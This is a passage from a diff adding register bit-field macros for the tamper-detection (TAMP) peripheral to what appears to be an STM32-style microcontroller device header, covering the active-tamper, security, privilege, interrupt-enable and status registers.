(0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30UL) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31UL) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0UL) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0UL) +#define TAMP_ATOR_PRNG_Msk (0xFF << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14UL) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15UL) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8UL) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11UL) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14UL) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17UL) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20UL) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << 